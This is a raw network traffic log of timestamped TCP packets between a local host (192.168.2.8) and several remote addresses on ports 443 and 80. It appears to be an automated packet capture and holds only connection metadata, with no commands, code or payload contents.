Sep 29, 2024 01:02:31.469687939 CEST	49731	443	192.168.2.8	142.250.185.129
Sep 29, 2024 01:02:31.480043888 CEST	443	49731	142.250.185.129	192.168.2.8
Sep 29, 2024 01:02:31.480060101 CEST	443	49731	142.250.185.129	192.168.2.8
Sep 29, 2024 01:02:31.480150938 CEST	49731	443	192.168.2.8	142.250.185.129
Sep 29, 2024 01:02:31.480159998 CEST	443	49731	142.250.185.129	192.168.2.8
Sep 29, 2024 01:02:31.480209112 CEST	49731	443	192.168.2.8	142.250.185.129
Sep 29, 2024 01:02:31.500866890 CEST	443	49731	142.250.185.129	192.168.2.8
Sep 29, 2024 01:02:31.500894070 CEST	443	49731	142.250.185.129	192.168.2.8
Sep 29, 2024 01:02:31.500989914 CEST	49731	443	192.168.2.8	142.250.185.129
Sep 29, 2024 01:02:31.500989914 CEST	49731	443	192.168.2.8	142.250.185.129
Sep 29, 2024 01:02:31.501002073 CEST	443	49731	142.250.185.129	192.168.2.8
Sep 29, 2024 01:02:31.501879930 CEST	49731	443	192.168.2.8	142.250.185.129
Sep 29, 2024 01:02:31.512533903 CEST	443	49731	142.250.185.129	192.168.2.8
Sep 29, 2024 01:02:31.512551069 CEST	443	49731	142.250.185.129	192.168.2.8
Sep 29, 2024 01:02:31.512590885 CEST	49731	443	192.168.2.8	142.250.185.129
Sep 29, 2024 01:02:31.512602091 CEST	443	49731	142.250.185.129	192.168.2.8
Sep 29, 2024 01:02:31.512655020 CEST	49731	443	192.168.2.8	142.250.185.129
Sep 29, 2024 01:02:31.512655020 CEST	49731	443	192.168.2.8	142.250.185.129
Sep 29, 2024 01:02:31.521483898 CEST	443	49731	142.250.185.129	192.168.2.8
Sep 29, 2024 01:02:31.521507025 CEST	443	49731	142.250.185.129	192.168.2.8
Sep 29, 2024 01:02:31.521651983 CEST	49731	443	192.168.2.8	142.250.185.129
Sep 29, 2024 01:02:31.521651983 CEST	49731	443	192.168.2.8	142.250.185.129
Sep 29, 2024 01:02:31.521665096 CEST	443	49731	142.250.185.129	192.168.2.8
Sep 29, 2024 01:02:31.521768093 CEST	49731	443	192.168.2.8	142.250.185.129
Sep 29, 2024 01:02:31.546715975 CEST	443	49731	142.250.185.129	192.168.2.8
Sep 29, 2024 01:02:31.546732903 CEST	443	49731	142.250.185.129	192.168.2.8
Sep 29, 2024 01:02:31.546833038 CEST	49731	443	192.168.2.8	142.250.185.129
Sep 29, 2024 01:02:31.546833992 CEST	49731	443	192.168.2.8	142.250.185.129
Sep 29, 2024 01:02:31.546844959 CEST	443	49731	142.250.185.129	192.168.2.8
Sep 29, 2024 01:02:31.546961069 CEST	49731	443	192.168.2.8	142.250.185.129
Sep 29, 2024 01:02:31.547419071 CEST	443	49731	142.250.185.129	192.168.2.8
Sep 29, 2024 01:02:31.547434092 CEST	443	49731	142.250.185.129	192.168.2.8
Sep 29, 2024 01:02:31.547472954 CEST	49731	443	192.168.2.8	142.250.185.129
Sep 29, 2024 01:02:31.547478914 CEST	443	49731	142.250.185.129	192.168.2.8
Sep 29, 2024 01:02:31.547522068 CEST	49731	443	192.168.2.8	142.250.185.129
Sep 29, 2024 01:02:31.547523022 CEST	49731	443	192.168.2.8	142.250.185.129
Sep 29, 2024 01:02:31.555803061 CEST	443	49731	142.250.185.129	192.168.2.8
Sep 29, 2024 01:02:31.555819988 CEST	443	49731	142.250.185.129	192.168.2.8
Sep 29, 2024 01:02:31.555902004 CEST	49731	443	192.168.2.8	142.250.185.129
Sep 29, 2024 01:02:31.555911064 CEST	443	49731	142.250.185.129	192.168.2.8
Sep 29, 2024 01:02:31.555975914 CEST	49731	443	192.168.2.8	142.250.185.129
Sep 29, 2024 01:02:31.556397915 CEST	443	49731	142.250.185.129	192.168.2.8
Sep 29, 2024 01:02:31.556413889 CEST	443	49731	142.250.185.129	192.168.2.8
Sep 29, 2024 01:02:31.556507111 CEST	49731	443	192.168.2.8	142.250.185.129
Sep 29, 2024 01:02:31.556507111 CEST	49731	443	192.168.2.8	142.250.185.129
Sep 29, 2024 01:02:31.556513071 CEST	443	49731	142.250.185.129	192.168.2.8
Sep 29, 2024 01:02:31.556571007 CEST	49731	443	192.168.2.8	142.250.185.129
Sep 29, 2024 01:02:31.587373018 CEST	443	49731	142.250.185.129	192.168.2.8
Sep 29, 2024 01:02:31.587397099 CEST	443	49731	142.250.185.129	192.168.2.8
Sep 29, 2024 01:02:31.587434053 CEST	49731	443	192.168.2.8	142.250.185.129
Sep 29, 2024 01:02:31.587443113 CEST	443	49731	142.250.185.129	192.168.2.8
Sep 29, 2024 01:02:31.587488890 CEST	49731	443	192.168.2.8	142.250.185.129
Sep 29, 2024 01:02:31.587537050 CEST	49731	443	192.168.2.8	142.250.185.129
Sep 29, 2024 01:02:31.588181973 CEST	443	49731	142.250.185.129	192.168.2.8
Sep 29, 2024 01:02:31.588202953 CEST	443	49731	142.250.185.129	192.168.2.8
Sep 29, 2024 01:02:31.588241100 CEST	49731	443	192.168.2.8	142.250.185.129
Sep 29, 2024 01:02:31.588247061 CEST	443	49731	142.250.185.129	192.168.2.8
Sep 29, 2024 01:02:31.588277102 CEST	49731	443	192.168.2.8	142.250.185.129
Sep 29, 2024 01:02:31.588306904 CEST	49731	443	192.168.2.8	142.250.185.129
Sep 29, 2024 01:02:31.599515915 CEST	443	49731	142.250.185.129	192.168.2.8
Sep 29, 2024 01:02:31.599535942 CEST	443	49731	142.250.185.129	192.168.2.8
Sep 29, 2024 01:02:31.599591970 CEST	49731	443	192.168.2.8	142.250.185.129
Sep 29, 2024 01:02:31.599600077 CEST	443	49731	142.250.185.129	192.168.2.8
Sep 29, 2024 01:02:31.599683046 CEST	49731	443	192.168.2.8	142.250.185.129
Sep 29, 2024 01:02:31.599684000 CEST	49731	443	192.168.2.8	142.250.185.129
Sep 29, 2024 01:02:31.608758926 CEST	443	49731	142.250.185.129	192.168.2.8
Sep 29, 2024 01:02:31.608776093 CEST	443	49731	142.250.185.129	192.168.2.8
Sep 29, 2024 01:02:31.608819008 CEST	49731	443	192.168.2.8	142.250.185.129
Sep 29, 2024 01:02:31.608825922 CEST	443	49731	142.250.185.129	192.168.2.8
Sep 29, 2024 01:02:31.608865976 CEST	49731	443	192.168.2.8	142.250.185.129
Sep 29, 2024 01:02:31.608916998 CEST	49731	443	192.168.2.8	142.250.185.129
Sep 29, 2024 01:02:31.634104967 CEST	443	49731	142.250.185.129	192.168.2.8
Sep 29, 2024 01:02:31.634124041 CEST	443	49731	142.250.185.129	192.168.2.8
Sep 29, 2024 01:02:31.634238958 CEST	49731	443	192.168.2.8	142.250.185.129
Sep 29, 2024 01:02:31.634248018 CEST	443	49731	142.250.185.129	192.168.2.8
Sep 29, 2024 01:02:31.634305000 CEST	49731	443	192.168.2.8	142.250.185.129
Sep 29, 2024 01:02:31.634857893 CEST	443	49731	142.250.185.129	192.168.2.8
Sep 29, 2024 01:02:31.634876013 CEST	443	49731	142.250.185.129	192.168.2.8
Sep 29, 2024 01:02:31.634927988 CEST	49731	443	192.168.2.8	142.250.185.129
Sep 29, 2024 01:02:31.634932995 CEST	443	49731	142.250.185.129	192.168.2.8
Sep 29, 2024 01:02:31.634952068 CEST	49731	443	192.168.2.8	142.250.185.129
Sep 29, 2024 01:02:31.635060072 CEST	49731	443	192.168.2.8	142.250.185.129
Sep 29, 2024 01:02:31.642740011 CEST	443	49731	142.250.185.129	192.168.2.8
Sep 29, 2024 01:02:31.642755985 CEST	443	49731	142.250.185.129	192.168.2.8
Sep 29, 2024 01:02:31.642838001 CEST	49731	443	192.168.2.8	142.250.185.129
Sep 29, 2024 01:02:31.642838955 CEST	49731	443	192.168.2.8	142.250.185.129
Sep 29, 2024 01:02:31.642847061 CEST	443	49731	142.250.185.129	192.168.2.8
Sep 29, 2024 01:02:31.643001080 CEST	49731	443	192.168.2.8	142.250.185.129
Sep 29, 2024 01:02:31.643486977 CEST	443	49731	142.250.185.129	192.168.2.8
Sep 29, 2024 01:02:31.643510103 CEST	443	49731	142.250.185.129	192.168.2.8
Sep 29, 2024 01:02:31.643569946 CEST	49731	443	192.168.2.8	142.250.185.129
Sep 29, 2024 01:02:31.643575907 CEST	443	49731	142.250.185.129	192.168.2.8
Sep 29, 2024 01:02:31.643659115 CEST	49731	443	192.168.2.8	142.250.185.129
Sep 29, 2024 01:02:31.643659115 CEST	49731	443	192.168.2.8	142.250.185.129
Sep 29, 2024 01:02:31.663342953 CEST	49741	443	192.168.2.8	216.58.206.68
Sep 29, 2024 01:02:31.663389921 CEST	443	49741	216.58.206.68	192.168.2.8
Sep 29, 2024 01:02:31.663573027 CEST	49741	443	192.168.2.8	216.58.206.68
Sep 29, 2024 01:02:31.663790941 CEST	49741	443	192.168.2.8	216.58.206.68
Sep 29, 2024 01:02:31.663804054 CEST	443	49741	216.58.206.68	192.168.2.8
Sep 29, 2024 01:02:31.674504042 CEST	443	49731	142.250.185.129	192.168.2.8
Sep 29, 2024 01:02:31.674535990 CEST	443	49731	142.250.185.129	192.168.2.8
Sep 29, 2024 01:02:31.674587011 CEST	49731	443	192.168.2.8	142.250.185.129
Sep 29, 2024 01:02:31.674593925 CEST	443	49731	142.250.185.129	192.168.2.8
Sep 29, 2024 01:02:31.674633026 CEST	49731	443	192.168.2.8	142.250.185.129
Sep 29, 2024 01:02:31.674701929 CEST	49731	443	192.168.2.8	142.250.185.129
Sep 29, 2024 01:02:31.675079107 CEST	443	49731	142.250.185.129	192.168.2.8
Sep 29, 2024 01:02:31.675101042 CEST	443	49731	142.250.185.129	192.168.2.8
Sep 29, 2024 01:02:31.675152063 CEST	49731	443	192.168.2.8	142.250.185.129
Sep 29, 2024 01:02:31.675157070 CEST	443	49731	142.250.185.129	192.168.2.8
Sep 29, 2024 01:02:31.675177097 CEST	49731	443	192.168.2.8	142.250.185.129
Sep 29, 2024 01:02:31.676096916 CEST	49731	443	192.168.2.8	142.250.185.129
Sep 29, 2024 01:02:31.695429087 CEST	443	49731	142.250.185.129	192.168.2.8
Sep 29, 2024 01:02:31.695447922 CEST	443	49731	142.250.185.129	192.168.2.8
Sep 29, 2024 01:02:31.695502043 CEST	49731	443	192.168.2.8	142.250.185.129
Sep 29, 2024 01:02:31.695509911 CEST	443	49731	142.250.185.129	192.168.2.8
Sep 29, 2024 01:02:31.695535898 CEST	49731	443	192.168.2.8	142.250.185.129
Sep 29, 2024 01:02:31.695564032 CEST	49731	443	192.168.2.8	142.250.185.129
Sep 29, 2024 01:02:31.695729017 CEST	443	49731	142.250.185.129	192.168.2.8
Sep 29, 2024 01:02:31.695746899 CEST	443	49731	142.250.185.129	192.168.2.8
Sep 29, 2024 01:02:31.695781946 CEST	49731	443	192.168.2.8	142.250.185.129
Sep 29, 2024 01:02:31.695786953 CEST	443	49731	142.250.185.129	192.168.2.8
Sep 29, 2024 01:02:31.695818901 CEST	49731	443	192.168.2.8	142.250.185.129
Sep 29, 2024 01:02:31.695847988 CEST	49731	443	192.168.2.8	142.250.185.129
Sep 29, 2024 01:02:31.722457886 CEST	443	49731	142.250.185.129	192.168.2.8
Sep 29, 2024 01:02:31.722476959 CEST	443	49731	142.250.185.129	192.168.2.8
Sep 29, 2024 01:02:31.722520113 CEST	49731	443	192.168.2.8	142.250.185.129
Sep 29, 2024 01:02:31.722527027 CEST	443	49731	142.250.185.129	192.168.2.8
Sep 29, 2024 01:02:31.722562075 CEST	49731	443	192.168.2.8	142.250.185.129
Sep 29, 2024 01:02:31.722579002 CEST	49731	443	192.168.2.8	142.250.185.129
Sep 29, 2024 01:02:31.723112106 CEST	443	49731	142.250.185.129	192.168.2.8
Sep 29, 2024 01:02:31.723128080 CEST	443	49731	142.250.185.129	192.168.2.8
Sep 29, 2024 01:02:31.723161936 CEST	49731	443	192.168.2.8	142.250.185.129
Sep 29, 2024 01:02:31.723166943 CEST	443	49731	142.250.185.129	192.168.2.8
Sep 29, 2024 01:02:31.723273039 CEST	49731	443	192.168.2.8	142.250.185.129
Sep 29, 2024 01:02:31.730207920 CEST	443	49731	142.250.185.129	192.168.2.8
Sep 29, 2024 01:02:31.730226994 CEST	443	49731	142.250.185.129	192.168.2.8
Sep 29, 2024 01:02:31.730324030 CEST	49731	443	192.168.2.8	142.250.185.129
Sep 29, 2024 01:02:31.730324030 CEST	49731	443	192.168.2.8	142.250.185.129
Sep 29, 2024 01:02:31.730331898 CEST	443	49731	142.250.185.129	192.168.2.8
Sep 29, 2024 01:02:31.730462074 CEST	443	49731	142.250.185.129	192.168.2.8
Sep 29, 2024 01:02:31.730484962 CEST	443	49731	142.250.185.129	192.168.2.8
Sep 29, 2024 01:02:31.730514050 CEST	49731	443	192.168.2.8	142.250.185.129
Sep 29, 2024 01:02:31.730519056 CEST	443	49731	142.250.185.129	192.168.2.8
Sep 29, 2024 01:02:31.730550051 CEST	49731	443	192.168.2.8	142.250.185.129
Sep 29, 2024 01:02:31.730711937 CEST	49731	443	192.168.2.8	142.250.185.129
Sep 29, 2024 01:02:31.730968952 CEST	443	49731	142.250.185.129	192.168.2.8
Sep 29, 2024 01:02:31.731031895 CEST	443	49731	142.250.185.129	192.168.2.8
Sep 29, 2024 01:02:31.731112003 CEST	49731	443	192.168.2.8	142.250.185.129
Sep 29, 2024 01:02:31.734747887 CEST	49731	443	192.168.2.8	142.250.185.129
Sep 29, 2024 01:02:31.734761953 CEST	443	49731	142.250.185.129	192.168.2.8
Sep 29, 2024 01:02:31.863003016 CEST	443	49738	142.250.186.46	192.168.2.8
Sep 29, 2024 01:02:31.863373995 CEST	49738	443	192.168.2.8	142.250.186.46
Sep 29, 2024 01:02:31.863409042 CEST	443	49738	142.250.186.46	192.168.2.8
Sep 29, 2024 01:02:31.863847017 CEST	443	49738	142.250.186.46	192.168.2.8
Sep 29, 2024 01:02:31.864288092 CEST	49738	443	192.168.2.8	142.250.186.46
Sep 29, 2024 01:02:31.864348888 CEST	443	49738	142.250.186.46	192.168.2.8
Sep 29, 2024 01:02:31.864731073 CEST	49738	443	192.168.2.8	142.250.186.46
Sep 29, 2024 01:02:31.877502918 CEST	443	49739	142.250.186.46	192.168.2.8
Sep 29, 2024 01:02:31.877728939 CEST	49739	443	192.168.2.8	142.250.186.46
Sep 29, 2024 01:02:31.877756119 CEST	443	49739	142.250.186.46	192.168.2.8
Sep 29, 2024 01:02:31.878194094 CEST	443	49739	142.250.186.46	192.168.2.8
Sep 29, 2024 01:02:31.878839016 CEST	49739	443	192.168.2.8	142.250.186.46
Sep 29, 2024 01:02:31.878947020 CEST	443	49739	142.250.186.46	192.168.2.8
Sep 29, 2024 01:02:31.907403946 CEST	443	49738	142.250.186.46	192.168.2.8
Sep 29, 2024 01:02:31.926390886 CEST	49739	443	192.168.2.8	142.250.186.46
Sep 29, 2024 01:02:32.079905033 CEST	443	49738	142.250.186.46	192.168.2.8
Sep 29, 2024 01:02:32.080126047 CEST	443	49738	142.250.186.46	192.168.2.8
Sep 29, 2024 01:02:32.080176115 CEST	49738	443	192.168.2.8	142.250.186.46
Sep 29, 2024 01:02:32.080647945 CEST	49738	443	192.168.2.8	142.250.186.46
Sep 29, 2024 01:02:32.080662966 CEST	443	49738	142.250.186.46	192.168.2.8
Sep 29, 2024 01:02:32.329514980 CEST	443	49741	216.58.206.68	192.168.2.8
Sep 29, 2024 01:02:32.330059052 CEST	49741	443	192.168.2.8	216.58.206.68
Sep 29, 2024 01:02:32.330096006 CEST	443	49741	216.58.206.68	192.168.2.8
Sep 29, 2024 01:02:32.331197977 CEST	443	49741	216.58.206.68	192.168.2.8
Sep 29, 2024 01:02:32.331286907 CEST	49741	443	192.168.2.8	216.58.206.68
Sep 29, 2024 01:02:32.730413914 CEST	49735	80	192.168.2.8	185.215.113.43
Sep 29, 2024 01:02:32.730695963 CEST	49744	80	192.168.2.8	185.215.113.43
Sep 29, 2024 01:02:32.735871077 CEST	80	49744	185.215.113.43	192.168.2.8
Sep 29, 2024 01:02:32.735969067 CEST	49744	80	192.168.2.8	185.215.113.43
Sep 29, 2024 01:02:32.736098051 CEST	49744	80	192.168.2.8	185.215.113.43
Sep 29, 2024 01:02:32.736141920 CEST	80	49735	185.215.113.43	192.168.2.8
Sep 29, 2024 01:02:32.736216068 CEST	49735	80	192.168.2.8	185.215.113.43
Sep 29, 2024 01:02:32.740958929 CEST	80	49744	185.215.113.43	192.168.2.8
Sep 29, 2024 01:02:33.435250998 CEST	80	49744	185.215.113.43	192.168.2.8
Sep 29, 2024 01:02:33.435317039 CEST	49744	80	192.168.2.8	185.215.113.43
Sep 29, 2024 01:02:34.805931091 CEST	49741	443	192.168.2.8	216.58.206.68
Sep 29, 2024 01:02:34.806121111 CEST	443	49741	216.58.206.68	192.168.2.8
Sep 29, 2024 01:02:34.884644032 CEST	49746	443	192.168.2.8	172.217.18.14
Sep 29, 2024 01:02:34.884697914 CEST	443	49746	172.217.18.14	192.168.2.8
Sep 29, 2024 01:02:34.884757042 CEST	49746	443	192.168.2.8	172.217.18.14
Sep 29, 2024 01:02:34.884978056 CEST	49746	443	192.168.2.8	172.217.18.14
Sep 29, 2024 01:02:34.884988070 CEST	443	49746	172.217.18.14	192.168.2.8
Sep 29, 2024 01:02:34.955745935 CEST	49741	443	192.168.2.8	216.58.206.68
Sep 29, 2024 01:02:34.955780029 CEST	443	49741	216.58.206.68	192.168.2.8
Sep 29, 2024 01:02:35.107131958 CEST	49744	80	192.168.2.8	185.215.113.43
Sep 29, 2024 01:02:35.107436895 CEST	49747	80	192.168.2.8	185.215.113.43
Sep 29, 2024 01:02:35.113631964 CEST	80	49744	185.215.113.43	192.168.2.8
Sep 29, 2024 01:02:35.113692999 CEST	49744	80	192.168.2.8	185.215.113.43
Sep 29, 2024 01:02:35.113897085 CEST	80	49747	185.215.113.43	192.168.2.8
Sep 29, 2024 01:02:35.113967896 CEST	49747	80	192.168.2.8	185.215.113.43
Sep 29, 2024 01:02:35.123147011 CEST	49747	80	192.168.2.8	185.215.113.43
Sep 29, 2024 01:02:35.130709887 CEST	80	49747	185.215.113.43	192.168.2.8
Sep 29, 2024 01:02:35.143249989 CEST	49741	443	192.168.2.8	216.58.206.68
Sep 29, 2024 01:02:35.541884899 CEST	443	49746	172.217.18.14	192.168.2.8
Sep 29, 2024 01:02:35.544909954 CEST	49746	443	192.168.2.8	172.217.18.14
Sep 29, 2024 01:02:35.544936895 CEST	443	49746	172.217.18.14	192.168.2.8
Sep 29, 2024 01:02:35.545423031 CEST	443	49746	172.217.18.14	192.168.2.8
Sep 29, 2024 01:02:35.546009064 CEST	49746	443	192.168.2.8	172.217.18.14
Sep 29, 2024 01:02:35.546072006 CEST	443	49746	172.217.18.14	192.168.2.8
Sep 29, 2024 01:02:35.546502113 CEST	49746	443	192.168.2.8	172.217.18.14
Sep 29, 2024 01:02:35.546500921 CEST	80	49732	185.215.113.37	192.168.2.8
Sep 29, 2024 01:02:35.546567917 CEST	49732	80	192.168.2.8	185.215.113.37
Sep 29, 2024 01:02:35.591404915 CEST	443	49746	172.217.18.14	192.168.2.8
Sep 29, 2024 01:02:35.822314978 CEST	80	49747	185.215.113.43	192.168.2.8
Sep 29, 2024 01:02:35.825640917 CEST	49747	80	192.168.2.8	185.215.113.43
Sep 29, 2024 01:02:35.874146938 CEST	443	49746	172.217.18.14	192.168.2.8
Sep 29, 2024 01:02:35.874594927 CEST	443	49746	172.217.18.14	192.168.2.8
Sep 29, 2024 01:02:35.874649048 CEST	49746	443	192.168.2.8	172.217.18.14
Sep 29, 2024 01:02:36.008312941 CEST	49746	443	192.168.2.8	172.217.18.14
Sep 29, 2024 01:02:36.008349895 CEST	443	49746	172.217.18.14	192.168.2.8
Sep 29, 2024 01:02:37.370058060 CEST	49732	80	192.168.2.8	185.215.113.37
Sep 29, 2024 01:02:37.653742075 CEST	49747	80	192.168.2.8	185.215.113.43
Sep 29, 2024 01:02:37.654028893 CEST	49751	80	192.168.2.8	185.215.113.43
Sep 29, 2024 01:02:37.658868074 CEST	80	49747	185.215.113.43	192.168.2.8
Sep 29, 2024 01:02:37.658946991 CEST	49747	80	192.168.2.8	185.215.113.43
Sep 29, 2024 01:02:37.659030914 CEST	80	49751	185.215.113.43	192.168.2.8
Sep 29, 2024 01:02:37.659096003 CEST	49751	80	192.168.2.8	185.215.113.43
Sep 29, 2024 01:02:37.659239054 CEST	49751	80	192.168.2.8	185.215.113.43
Sep 29, 2024 01:02:37.664079905 CEST	80	49751	185.215.113.43	192.168.2.8
Sep 29, 2024 01:02:38.379936934 CEST	80	49751	185.215.113.43	192.168.2.8
Sep 29, 2024 01:02:38.382234097 CEST	49751	80	192.168.2.8	185.215.113.43
Sep 29, 2024 01:02:38.811911106 CEST	49758	443	192.168.2.8	142.250.186.78
Sep 29, 2024 01:02:38.811937094 CEST	443	49758	142.250.186.78	192.168.2.8
Sep 29, 2024 01:02:38.812040091 CEST	49758	443	192.168.2.8	142.250.186.78
Sep 29, 2024 01:02:38.812112093 CEST	49758	443	192.168.2.8	142.250.186.78
Sep 29, 2024 01:02:38.812124014 CEST	443	49758	142.250.186.78	192.168.2.8
Sep 29, 2024 01:02:39.455493927 CEST	443	49758	142.250.186.78	192.168.2.8
Sep 29, 2024 01:02:39.456343889 CEST	49758	443	192.168.2.8	142.250.186.78
Sep 29, 2024 01:02:39.456357002 CEST	443	49758	142.250.186.78	192.168.2.8
Sep 29, 2024 01:02:39.456748962 CEST	443	49758	142.250.186.78	192.168.2.8
Sep 29, 2024 01:02:39.456825972 CEST	49758	443	192.168.2.8	142.250.186.78
Sep 29, 2024 01:02:39.457470894 CEST	443	49758	142.250.186.78	192.168.2.8
Sep 29, 2024 01:02:39.457534075 CEST	49758	443	192.168.2.8	142.250.186.78
Sep 29, 2024 01:02:39.458404064 CEST	49758	443	192.168.2.8	142.250.186.78
Sep 29, 2024 01:02:39.458472013 CEST	443	49758	142.250.186.78	192.168.2.8
Sep 29, 2024 01:02:39.458477974 CEST	49758	443	192.168.2.8	142.250.186.78
Sep 29, 2024 01:02:39.499447107 CEST	443	49758	142.250.186.78	192.168.2.8
Sep 29, 2024 01:02:39.506228924 CEST	49758	443	192.168.2.8	142.250.186.78
Sep 29, 2024 01:02:39.506237030 CEST	443	49758	142.250.186.78	192.168.2.8
Sep 29, 2024 01:02:39.627708912 CEST	49758	443	192.168.2.8	142.250.186.78
Sep 29, 2024 01:02:39.658495903 CEST	49760	80	192.168.2.8	185.215.113.37
Sep 29, 2024 01:02:39.663336992 CEST	80	49760	185.215.113.37	192.168.2.8
Sep 29, 2024 01:02:39.663475990 CEST	49760	80	192.168.2.8	185.215.113.37
Sep 29, 2024 01:02:39.664212942 CEST	49760	80	192.168.2.8	185.215.113.37
Sep 29, 2024 01:02:39.669018984 CEST	80	49760	185.215.113.37	192.168.2.8
Sep 29, 2024 01:02:39.775470972 CEST	443	49758	142.250.186.78	192.168.2.8
Sep 29, 2024 01:02:39.775521994 CEST	443	49758	142.250.186.78	192.168.2.8
Sep 29, 2024 01:02:39.775552988 CEST	443	49758	142.250.186.78	192.168.2.8
Sep 29, 2024 01:02:39.775603056 CEST	49758	443	192.168.2.8	142.250.186.78
Sep 29, 2024 01:02:39.775621891 CEST	443	49758	142.250.186.78	192.168.2.8
Sep 29, 2024 01:02:39.778273106 CEST	49758	443	192.168.2.8	142.250.186.78
Sep 29, 2024 01:02:39.781821966 CEST	443	49758	142.250.186.78	192.168.2.8
Sep 29, 2024 01:02:39.781874895 CEST	443	49758	142.250.186.78	192.168.2.8
Sep 29, 2024 01:02:39.781909943 CEST	49758	443	192.168.2.8	142.250.186.78
Sep 29, 2024 01:02:39.781918049 CEST	443	49758	142.250.186.78	192.168.2.8
Sep 29, 2024 01:02:39.781971931 CEST	49758	443	192.168.2.8	142.250.186.78
Sep 29, 2024 01:02:39.786966085 CEST	443	49758	142.250.186.78	192.168.2.8
Sep 29, 2024 01:02:39.787103891 CEST	443	49758	142.250.186.78	192.168.2.8
Sep 29, 2024 01:02:39.787204027 CEST	49758	443	192.168.2.8	142.250.186.78
Sep 29, 2024 01:02:39.787518978 CEST	49758	443	192.168.2.8	142.250.186.78
Sep 29, 2024 01:02:39.787533045 CEST	443	49758	142.250.186.78	192.168.2.8
Sep 29, 2024 01:02:39.943131924 CEST	49751	80	192.168.2.8	185.215.113.43
Sep 29, 2024 01:02:39.943414927 CEST	49767	80	192.168.2.8	185.215.113.43
Sep 29, 2024 01:02:39.948580027 CEST	80	49751	185.215.113.43	192.168.2.8
Sep 29, 2024 01:02:39.948714972 CEST	80	49767	185.215.113.43	192.168.2.8
Sep 29, 2024 01:02:39.948793888 CEST	49751	80	192.168.2.8	185.215.113.43
Sep 29, 2024 01:02:39.948823929 CEST	49767	80	192.168.2.8	185.215.113.43
Sep 29, 2024 01:02:39.948992014 CEST	49767	80	192.168.2.8	185.215.113.43
Sep 29, 2024 01:02:39.954090118 CEST	80	49767	185.215.113.43	192.168.2.8
Sep 29, 2024 01:02:40.353554964 CEST	80	49760	185.215.113.37	192.168.2.8
Sep 29, 2024 01:02:40.354295969 CEST	49760	80	192.168.2.8	185.215.113.37
Sep 29, 2024 01:02:40.356931925 CEST	49760	80	192.168.2.8	185.215.113.37
Sep 29, 2024 01:02:40.362023115 CEST	80	49760	185.215.113.37	192.168.2.8
Sep 29, 2024 01:02:40.580396891 CEST	80	49760	185.215.113.37	192.168.2.8
Sep 29, 2024 01:02:40.580579996 CEST	49760	80	192.168.2.8	185.215.113.37
Sep 29, 2024 01:02:40.678730965 CEST	80	49767	185.215.113.43	192.168.2.8
Sep 29, 2024 01:02:40.682284117 CEST	49767	80	192.168.2.8	185.215.113.43
Sep 29, 2024 01:02:41.006753922 CEST	49768	443	192.168.2.8	172.217.16.206
Sep 29, 2024 01:02:41.006808043 CEST	443	49768	172.217.16.206	192.168.2.8
Sep 29, 2024 01:02:41.006866932 CEST	49768	443	192.168.2.8	172.217.16.206
Sep 29, 2024 01:02:41.007577896 CEST	49768	443	192.168.2.8	172.217.16.206
Sep 29, 2024 01:02:41.007591009 CEST	443	49768	172.217.16.206	192.168.2.8
Sep 29, 2024 01:02:41.193171024 CEST	49771	443	192.168.2.8	172.217.16.206
Sep 29, 2024 01:02:41.193222046 CEST	443	49771	172.217.16.206	192.168.2.8
Sep 29, 2024 01:02:41.193335056 CEST	49771	443	192.168.2.8	172.217.16.206
Sep 29, 2024 01:02:41.193577051 CEST	49771	443	192.168.2.8	172.217.16.206
Sep 29, 2024 01:02:41.193588018 CEST	443	49771	172.217.16.206	192.168.2.8
Sep 29, 2024 01:02:41.654105902 CEST	443	49768	172.217.16.206	192.168.2.8
Sep 29, 2024 01:02:41.654337883 CEST	49768	443	192.168.2.8	172.217.16.206
Sep 29, 2024 01:02:41.654361963 CEST	443	49768	172.217.16.206	192.168.2.8
Sep 29, 2024 01:02:41.654957056 CEST	443	49768	172.217.16.206	192.168.2.8
Sep 29, 2024 01:02:41.655019999 CEST	49768	443	192.168.2.8	172.217.16.206
Sep 29, 2024 01:02:41.656033993 CEST	443	49768	172.217.16.206	192.168.2.8
Sep 29, 2024 01:02:41.656109095 CEST	49768	443	192.168.2.8	172.217.16.206
Sep 29, 2024 01:02:41.657403946 CEST	49768	443	192.168.2.8	172.217.16.206
Sep 29, 2024 01:02:41.657495022 CEST	443	49768	172.217.16.206	192.168.2.8
Sep 29, 2024 01:02:41.657587051 CEST	49768	443	192.168.2.8	172.217.16.206
Sep 29, 2024 01:02:41.657596111 CEST	443	49768	172.217.16.206	192.168.2.8
Sep 29, 2024 01:02:41.752501011 CEST	49768	443	192.168.2.8	172.217.16.206
Sep 29, 2024 01:02:41.848443031 CEST	443	49771	172.217.16.206	192.168.2.8
Sep 29, 2024 01:02:41.850541115 CEST	49771	443	192.168.2.8	172.217.16.206
Sep 29, 2024 01:02:41.850572109 CEST	443	49771	172.217.16.206	192.168.2.8
Sep 29, 2024 01:02:41.850986004 CEST	443	49771	172.217.16.206	192.168.2.8
Sep 29, 2024 01:02:41.851191044 CEST	49771	443	192.168.2.8	172.217.16.206
Sep 29, 2024 01:02:41.851716995 CEST	443	49771	172.217.16.206	192.168.2.8
Sep 29, 2024 01:02:41.851794958 CEST	49771	443	192.168.2.8	172.217.16.206
Sep 29, 2024 01:02:41.852168083 CEST	49771	443	192.168.2.8	172.217.16.206
Sep 29, 2024 01:02:41.852231026 CEST	443	49771	172.217.16.206	192.168.2.8
Sep 29, 2024 01:02:41.852602005 CEST	49771	443	192.168.2.8	172.217.16.206
Sep 29, 2024 01:02:41.895416975 CEST	443	49771	172.217.16.206	192.168.2.8
Sep 29, 2024 01:02:41.947597980 CEST	49771	443	192.168.2.8	172.217.16.206
Sep 29, 2024 01:02:41.947618961 CEST	443	49771	172.217.16.206	192.168.2.8
Sep 29, 2024 01:02:41.982430935 CEST	443	49768	172.217.16.206	192.168.2.8
Sep 29, 2024 01:02:41.982486010 CEST	443	49768	172.217.16.206	192.168.2.8
Sep 29, 2024 01:02:41.982530117 CEST	443	49768	172.217.16.206	192.168.2.8
Sep 29, 2024 01:02:41.982789040 CEST	49768	443	192.168.2.8	172.217.16.206
Sep 29, 2024 01:02:41.982814074 CEST	443	49768	172.217.16.206	192.168.2.8
Sep 29, 2024 01:02:41.988629103 CEST	443	49768	172.217.16.206	192.168.2.8
Sep 29, 2024 01:02:41.992794991 CEST	49768	443	192.168.2.8	172.217.16.206
Sep 29, 2024 01:02:41.992811918 CEST	443	49768	172.217.16.206	192.168.2.8
Sep 29, 2024 01:02:41.995038033 CEST	443	49768	172.217.16.206	192.168.2.8
Sep 29, 2024 01:02:41.995074034 CEST	443	49768	172.217.16.206	192.168.2.8
Sep 29, 2024 01:02:41.995140076 CEST	49768	443	192.168.2.8	172.217.16.206
